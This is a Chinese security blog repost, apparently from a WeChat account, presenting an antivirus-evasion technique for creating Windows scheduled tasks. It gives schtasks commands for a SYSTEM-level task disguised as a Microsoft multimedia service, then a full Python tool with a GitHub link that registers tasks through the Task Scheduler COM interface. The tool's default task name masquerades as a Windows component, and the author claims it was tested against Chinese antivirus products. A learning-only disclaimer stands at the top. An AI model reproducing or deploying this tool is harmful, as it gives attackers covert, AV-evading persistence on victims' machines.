免杀 | 使用技巧绕过杀软添加计划任务。

admin 2023年12月12日03:20:33评论160 views字数 3436阅读11分27秒阅读模式

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把 明暗安全
设为星标,否则可能就看不到啦!

1.漏洞背景

计划任务的添加,一般来说为

schtasks /create /ru system /tn “MicrosoftWindowsMultimediaSystemMediaService” /sc MINUTE /mo 50 /tr “C:Windowssystem.exe” /st 16:22 /f (创建一个名为MicrosoftWindowsMultimediaSystemMediaService, 16:22开始执行,每50分钟执行一次)

SCHTASKS /Run /TN “MicrosoftWindowsMultimediaSystemMediaService” /f (启动计划任务)

schtasks /delete /tn “MicrosoftWindowsMultimediaSystemSoundsService” /f(删除计划任务)

然而,有存在杀软的情况下,添加计划任务是被禁止的。

通过fuzz,发现powershell添加杀软的方式被彻底堵死了(个人尝试)

分析:

这个Python脚本使用了win32com.client库来与Windows Task Scheduler(任务计划程序)进行交互。通过这个库,脚本能够调用Windows的COM(组件对象模型)接口来创建、配置和管理计划任务。具体来说,它调用了以下Windows API:

Task Scheduler COM接口:

win32com.client.Dispatch("Schedule.Service"): 这行代码创建了一个TaskService对象,它是Task Scheduler的COM接口的一部分。通过这个对象,脚本可以访问任务计划程序的功能。
任务创建和配置:

taskserver.NewTask(0): 这个方法用于创建一个新的任务定义(TaskDefinition对象)。这个对象包含了任务的所有配置信息,如触发器、操作、设置等。
taskdefinition.Triggers.Create(trigger_type): 这行代码用于创建一个新的触发器,它定义了任务何时运行。trigger_type参数决定了触发器的类型(如每日、每小时或每分钟)。
taskdefinition.Actions.Create(ActionTypeExecutable): 这个方法用于创建一个新的操作,指定任务执行时要运行的程序或脚本。
任务注册:

folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5): 这行代码用于注册(或更新)一个任务。它将任务定义与一个名称相关联,并在任务计划程序中进行设置。
通过这些API调用,脚本能够在Windows环境中创建和配置计划任务。这些操作都是通过Windows Task Scheduler的COM接口完成的,这是一个用于编程方式管理任务计划程序的标准Windows API。

免杀,可以执行。

github:https://github.com/shanxigetanxiaochou/addjihuarenwu

自测过国内全家桶,x绒,3x0

import win32com.clientimport argparsefrom datetime import datetime, timedeltaimport getpass

def regtask(patha, name, time):    try:        TriggerTypeDaily = 2        TriggerTypeHourly = 4        TriggerTypeMinutely = 6        ActionTypeExecutable = 0

        # 创建 TaskService 对象        taskserver = win32com.client.Dispatch("Schedule.Service")        taskserver.Connect()

        # 获取任务文件夹        folder = taskserver.GetFolder("\")

        # 创建任务定义        taskdefinition = taskserver.NewTask(0)

        # 设置任务的描述和作者        regInfo = taskdefinition.RegistrationInfo        regInfo.Description = "任务将执行"        regInfo.Author = getpass.getuser()

        # 设置任务计划        settings = taskdefinition.Settings        settings.StartWhenAvailable = True

        # 根据 --time 参数设置触发器类型        if time:            if time.startswith("hour/"):                interval = int(time.split("/")[1])                trigger_type = TriggerTypeHourly            elif time.startswith("minute/"):                interval = int(time.split("/")[1])                trigger_type = TriggerTypeMinutely            else:                trigger_type = TriggerTypeDaily                interval = 1        else:            trigger_type = TriggerTypeDaily            interval = 1

        # 创建触发器        triggers = taskdefinition.Triggers        trigger = triggers.Create(trigger_type)        start_time = datetime.now() + timedelta(minutes=1)        trigger.StartBoundary = start_time.strftime("%Y-%m-%dT%H:%M:%S")        trigger.Id = "CustomTrigger"        trigger.Repetition.Interval = f'PT{interval}M'

        # 创建任务执行操作        action = taskdefinition.Actions.Create(ActionTypeExecutable)        action.Path = patha

        # 设置默认任务名称        if not name:            name = "Microsoft\Windows\Multimedia\SystemMediaService"

        # 注册任务        create_or_update_task = 6

        folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5)        print("计划任务创建完成")    except Exception as e:        print(f"出现异常:{str(e)}")        print("请使用 -h 或 --help 检查参数。")def parse_args():    parser = argparse.ArgumentParser(description="创建一个计划任务")    parser.add_argument('--addresses', help="可执行文件(exe)的绝对路径(必选)")#    parser.add_argument('--users', help="任务的用户名(必选)")    parser.add_argument('--name', help="任务名称(可选),默认为Microsoft\Windows\Multimedia\SystemMediaService")    parser.add_argument('--time', help="任务触发时间,默认为执行完本工具后一分钟运行一次。(可选)(例如,hour/1 或 minute/10)字面意思,自启动时间")    args = parser.parse_args()

    return args

if __name__ == '__main__':    args = parse_args()

    # 如果未指定 --users 参数,使用当前用户的用户名    regtask(args.addresses, args.name, args.time)
—————————————————————

原文始发于微信公众号(F12sec):免杀 | 使用技巧绕过杀软添加计划任务。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日03:20:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 | 使用技巧绕过杀软添加计划任务。http://cn-sec.com/archives/2288595.html

发表评论

匿名网友 填写信息